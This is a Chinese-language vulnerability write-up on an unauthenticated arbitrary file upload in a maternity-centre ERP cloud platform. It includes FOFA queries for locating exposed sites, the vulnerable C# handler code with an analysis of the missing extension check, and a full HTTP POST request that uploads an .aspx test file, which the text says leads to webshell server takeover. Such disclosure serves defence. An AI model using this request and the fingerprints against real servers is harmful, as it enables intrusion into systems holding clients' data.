漏洞简介
月子会所ERP管理云平台是由武汉金同方科技有限公司研发团队结合行业月子中心相关企业需求开发的一套综合性管理软件。月子会所ERP管理云平台的 Page/upload/AttachedHandler.ashx 接口存在文件上传漏洞,攻击者可利用该漏洞上传webshell获取服务器权限。
fofa语法
body="月子护理ERP管理平台" || body="妈妈宝盒客户端.rar" || body="Page/Login/Login3.aspx" || app="妈妈宝盒-ERP"
漏洞分析
AttachedHandler 的业务逻辑实现如下
public class AttachedHandler : IHttpHandler
{
//static string UploadPosition = ConfigurationManager.AppSettings["UploadPosition"];//上传位置(0:表示本地服务器,1:表示OOS)
public void ProcessRequest(HttpContext context)
{
context.Response.ContentType = "application/json";
HttpFileCollection flist = context.Request.Files;
Logging.SaveLog(ELogLayer.UI, "上传文件" + flist);
var UploadfileURLList = new List<string>();
string UploadURL = context.Request.QueryString["url"];
string Type = context.Request.QueryString["Type"];//OA上传的参数,如果该参数不为空,则是小程序中OA上传(OA上传时候会根据参数判断是上传本地还是OOS)
if (string.IsNullOrEmpty(UploadURL))
{
context.Response.Write(JsonConvert.SerializeObject(new { code = 0, info = "所给的上传路径不正确!" }));
context.Response.End();
}
Logging.SaveLog(ELogLayer.UI, "上传路径" + UploadURL);
Logging.SaveLog(ELogLayer.UI, "Files数量:" + context.Request.Files.Count);
if (context.Request.Files.Count > 0)
{
var basepath = context.Server.MapPath(UploadURL);//绝对路径
if (!Directory.Exists(basepath))
{
Directory.CreateDirectory(basepath);
}
for (int i = 0; i < context.Request.Files.Count; i++)
{
HttpPostedFile mypost = flist[i];
string picneme1 = mypost.FileName;
string tuozhanming = picneme1.Substring(picneme1.LastIndexOf(".")).ToLower();
string picneme = GetNewName(tuozhanming);
UploadfileURLList.Add(string.Format("{0}/{1}", UploadURL, picneme));
if (!string.IsNullOrEmpty(Type))//小程序OA的附件上传
{
string OOSUpload = BRSysPram.GetByName("OOSUpload");//根据参数编码获取系统参数,1表示上传到OOS,其它表示上传本地
if (OOSUpload == "1")
{
System.IO.Stream strem = flist[i].InputStream;//将所要上传文件转换成流
OosUpload.PutObjectToOOSByOA(UploadURL.TrimStart('/') + "/", picneme, strem);//上传文件至oos
}
else //和之前一样直接上传到本地服务器
{
var strPath = string.Format("{0}/{1}", basepath, picneme);//原图绝对路径
mypost.SaveAs(strPath);//保存文件
if (tuozhanming == ".png" || tuozhanming == ".jpg" || tuozhanming == ".jepg" || tuozhanming == ".bmp")
{
var simgpaht = string.Format("{0}/{1}", basepath, "small_" + picneme);//压缩图绝对路径
MakeThumbnail(strPath, simgpaht, 120, 120, "DB");//保存压缩文件
}
}
}
else
{
var strPath = string.Format("{0}/{1}", basepath, picneme);//原图绝对路径
mypost.SaveAs(strPath);//保存文件
if (tuozhanming == ".png" || tuozhanming == ".jpg" || tuozhanming == ".jepg" || tuozhanming == ".bmp")
{
var simgpaht = string.Format("{0}/{1}", basepath, "small_" + picneme);//压缩图绝对路径
MakeThumbnail(strPath, simgpaht, 120, 120, "DB");//保存压缩文件
}
}
System.Threading.Thread.Sleep(1000);
}
}
context.Response.Write(JsonConvert.SerializeObject(new { code = 200, data = UploadfileURLList }));
context.Response.End();
}
public string GetNewName(string name)
{
var _newName = DateTime.UtcNow.ToString("yyyyMMddHHmmss");
return _newName + new Random().Next(0000000, 9999999) + name;
}
#region 生成缩略图
/// <summary>
/// 生成缩略图
/// </summary>
/// <param name="originalImagePath">源图路径(物理路径)</param>
/// <param name="thumbnailPath">缩略图路径(物理路径)</param>
/// <param name="width">缩略图宽度</param>
/// <param name="height">缩略图高度</param>
/// <param name="mode">生成缩略图的方式</param>
public static void MakeThumbnail(string originalImagePath, string thumbnailPath, int width, int height, string mode)
{
System.Drawing.Image originalImage = System.Drawing.Image.FromFile(originalImagePath);
int towidth = width;
int toheight = height;
int x = 0;
int y = 0;
int ow = originalImage.Width;
int oh = originalImage.Height;
switch (mode)
{
case "HW"://指定高宽缩放(可能变形)
break;
case "W"://指定宽,高按比例
toheight = originalImage.Height * width / originalImage.Width;
break;
case "H"://指定高,宽按比例
towidth = originalImage.Width * height / originalImage.Height;
break;
case "Cut"://指定高宽裁减(不变形)
if ((double)originalImage.Width / (double)originalImage.Height > (double)towidth / (double)toheight)
{
oh = originalImage.Height;
ow = originalImage.Height * towidth / toheight;
y = 0;
x = (originalImage.Width - ow) / 2;
}
else
{
ow = originalImage.Width;
oh = originalImage.Width * height / towidth;
x = 0;
y = (originalImage.Height - oh) / 2;
}
break;
case "DB"://等比缩放(不变形,如果高大按高,宽大按宽缩放)
if ((double)originalImage.Width / (double)towidth < (double)originalImage.Height / (double)toheight)
{
toheight = height;
towidth = originalImage.Width * height / originalImage.Height;
}
else
{
towidth = width;
toheight = originalImage.Height * width / originalImage.Width;
}
break;
default:
break;
}
//新建一个bmp图片
System.Drawing.Image bitmap = new System.Drawing.Bitmap(towidth, toheight);
//新建一个画板
Graphics g = System.Drawing.Graphics.FromImage(bitmap);
//设置高质量插值法
g.InterpolationMode = System.Drawing.Drawing2D.InterpolationMode.High;
//设置高质量,低速度呈现平滑程度
g.SmoothingMode = System.Drawing.Drawing2D.SmoothingMode.HighQuality;
//清空画布并以透明背景色填充
g.Clear(Color.Transparent);
//在指定位置并且按指定大小绘制原图片的指定部分
g.DrawImage(originalImage, new Rectangle(0, 0, towidth, toheight),
new Rectangle(x, y, ow, oh),
GraphicsUnit.Pixel);
try
{
//以jpg格式保存缩略图
bitmap.Save(thumbnailPath, System.Drawing.Imaging.ImageFormat.Png);
}
catch (System.Exception e)
{
throw e;
}
finally
{
originalImage.Dispose();
bitmap.Dispose();
g.Dispose();
}
}
#endregion
public bool IsReusable
{
get
{
return false;
}
}
}
首先 UploadURL 是必须存在一个目录,否则直接结束流程,其次是不需要进入 if (!string.IsNullOrEmpty(Type))//小程序OA的附件上传 处理流程即 Type 为空或者 null 即可,很简单,我们不传参即可,然后就是常规的重命名、对图片后缀进行缩略图处理等,并无特殊后缀过滤,且会回显上传文件路径,造成任意文件上传漏洞。
漏洞复现
POST /Page/upload/AttachedHandler.ashx?url=/ HTTP/1.1
Host: mamabaohe.mrxn.net
Content-Type: multipart/form-data; boundary=--WebKitFormBoundaryWPL35TV23dfr1cNr
--WebKitFormBoundaryWPL35TV23dfr1cNr
Content-Disposition: form-data; name="file"; filename="t.aspx"
<%@Page Language="C#"%><%Response.Write(DateTime.Now.ToString());System.IO.File.Delete(Server.MapPath(Request.Url.AbsolutePath));%>
--WebKitFormBoundaryWPL35TV23dfr1cNr--

成功上传测试POC并回显文件路径


